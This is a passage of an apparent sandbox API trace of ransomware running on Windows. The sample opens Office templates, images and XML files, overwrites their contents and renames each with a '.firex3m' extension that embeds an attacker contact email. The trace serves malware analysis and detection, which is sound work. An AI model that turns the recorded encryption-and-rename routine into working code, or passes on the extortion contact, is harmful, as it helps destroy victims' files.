returned 1 [0191.655] WriteFile (in: hFile=0x6e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0191.655] CloseHandle (hObject=0x6e4) returned 1 [0191.655] GetProcessHeap () returned 0x630000 [0191.655] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71417f8 | out: hHeap=0x630000) returned 1 [0191.655] GetProcessHeap () returned 0x630000 [0191.655] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70efca0 | out: hHeap=0x630000) returned 1 [0191.655] GetProcessHeap () returned 0x630000 [0191.655] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177600 | out: hHeap=0x630000) returned 1 [0191.655] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.655] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR9B.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x382f35de, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3e5d, dwReserved0=0xb407496, dwReserved1=0x70efc98, cFileName="ZPDIR9B.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ZPDIR9~2.FIR")) returned 0x6d5540 [0191.655] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0191.655] Sleep (dwMilliseconds=0x1) [0192.895] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx", len=0x51 | out: pbstr=0x46fff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx") returned 1 [0192.895] GetProcessHeap () returned 0x630000 [0192.895] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x47e8) returned 0x7133a90 [0192.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\contemporaryphotoalbum.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0193.572] CloseHandle (hObject=0x700) returned 1 [0193.572] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0193.572] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\contemporaryphotoalbum.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\contemporaryphotoalbum.potx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0200.356] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0200.357] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x95482, dwReserved0=0x720069, dwReserved1=0x780065, cFileName="ContemporaryPhotoAlbum.potx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CONTEM~1.FIR")) returned 0x6d4f00 [0200.357] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0200.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\contemporaryphotoalbum.potx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0200.357] GetProcessHeap () returned 0x630000 [0200.357] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f8cce0 [0200.358] GetProcessHeap () returned 0x630000 [0200.358] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f98110 [0200.358] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.358] ReadFile (in: hFile=0x700, lpBuffer=0x6f8cce0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f8cce0*, lpNumberOfBytesRead=0x46fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0206.650] GetProcessHeap () returned 0x630000 [0206.650] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317db0 [0208.684] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.693] WriteFile (in: hFile=0x700, lpBuffer=0x6f98110*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f98110*, lpNumberOfBytesWritten=0x46fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0208.693] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.693] WriteFile (in: hFile=0x700, lpBuffer=0x6fa350f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa350f*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0208.695] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.695] WriteFile (in: hFile=0x700, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0208.695] CloseHandle (hObject=0x700) returned 1 [0208.695] GetProcessHeap () returned 0x630000 [0208.695] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f98110 | out: hHeap=0x630000) returned 1 [0208.695] GetProcessHeap () returned 0x630000 [0208.695] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f8cce0 | out: hHeap=0x630000) returned 1 [0208.695] GetProcessHeap () returned 0x630000 [0208.695] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317db0 | out: hHeap=0x630000) returned 1 [0208.695] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0208.696] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4256161b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x954a6, dwReserved0=0xb407496, dwReserved1=0x6f8ccd8, cFileName="ContemporaryPhotoAlbum.potx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CONTEM~1.FIR")) returned 0x6d5340 [0208.696] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0208.696] Sleep (dwMilliseconds=0x1) [0208.698] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\THMBNAIL.PNG", len=0x6d | out: pbstr=0x46fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\THMBNAIL.PNG") returned 1 [0208.698] GetProcessHeap () returned 0x630000 [0208.698] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4d40) returned 0x6fe4288 [0208.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0208.700] CloseHandle (hObject=0x700) returned 1 [0208.700] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0208.700] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\level\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\level\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0208.703] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0208.703] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b7bb91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b7bb91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0xff00b748, dwReserved1=0x6e006f, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5280 [0208.704] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0208.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\level\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0208.704] GetProcessHeap () returned 0x630000 [0208.704] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72846e0 [0208.704] GetProcessHeap () returned 0x630000 [0208.704] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7453008 [0208.705] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.705] ReadFile (in: hFile=0x700, lpBuffer=0x72846e0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72846e0*, lpNumberOfBytesRead=0x46fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0216.190] GetProcessHeap () returned 0x630000 [0216.191] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0216.191] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.191] WriteFile (in: hFile=0x700, lpBuffer=0x7453008*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7453008*, lpNumberOfBytesWritten=0x46fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0216.191] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.191] WriteFile (in: hFile=0x700, lpBuffer=0x745e407*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x745e407*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0216.191] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.192] WriteFile (in: hFile=0x700, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0216.192] CloseHandle (hObject=0x700) returned 1 [0216.192] GetProcessHeap () returned 0x630000 [0216.192] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7453008 | out: hHeap=0x630000) returned 1 [0216.192] GetProcessHeap () returned 0x630000 [0216.192] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72846e0 | out: hHeap=0x630000) returned 1 [0216.192] GetProcessHeap () returned 0x630000 [0216.192] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0216.192] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0216.193] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b7bb91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x46ce7976, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xbc17, dwReserved0=0xb407496, dwReserved1=0x72846d8, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5580 [0216.193] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0216.193] Sleep (dwMilliseconds=0x1) [0217.697] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x46fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\toastbeginupgradeth2.xml") returned 1 [0217.697] GetProcessHeap () returned 0x630000 [0217.697] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50a8) returned 0x6fe3bb0 [0217.697] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-us\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0217.698] CloseHandle (hObject=0x6d4) returned 1 [0217.698] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0217.698] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-us\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-us\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0217.699] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.699] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5480 [0217.699] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0217.699] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-us\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0217.699] GetProcessHeap () returned 0x630000 [0217.699] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x70f4648 [0217.699] GetProcessHeap () returned 0x630000 [0217.699] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x70f40c0 [0217.699] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.699] ReadFile (in: hFile=0x6d4, lpBuffer=0x70f4648, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f4648*, lpNumberOfBytesRead=0x46fff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0217.702] GetProcessHeap () returned 0x630000 [0217.702] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0217.702] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.702] WriteFile (in: hFile=0x6d4, lpBuffer=0x70f40c0*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f40c0*, lpNumberOfBytesWritten=0x46fff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0217.702] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.702] WriteFile (in: hFile=0x6d4, lpBuffer=0x70f425f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f425f*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0217.702] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.702] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0217.702] CloseHandle (hObject=0x6d4) returned 1 [0217.702] GetProcessHeap () returned 0x630000 [0217.702] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f40c0 | out: hHeap=0x630000) returned 1 [0217.702] GetProcessHeap () returned 0x630000 [0217.702] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f4648 | out: hHeap=0x630000) returned 1 [0217.703] GetProcessHeap () returned 0x630000 [0217.703] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0217.703] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.703] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x47b5bc8c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x46ffd20, dwReserved1=0x70f4648, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d51c0 [0217.703] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0217.703] Sleep (dwMilliseconds=0x1) [0219.294] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x46fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\toastreviewsettings.xml") returned 1 [0219.294] GetProcessHeap () returned 0x630000 [0219.294] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50dc) returned 0x6fe3bb0 [0219.294] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\gl-es\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0219.295] CloseHandle (hObject=0x4e4) returned 1 [0219.295] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0219.295] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\gl-es\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\gl-es\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0219.296] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.296] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x20, 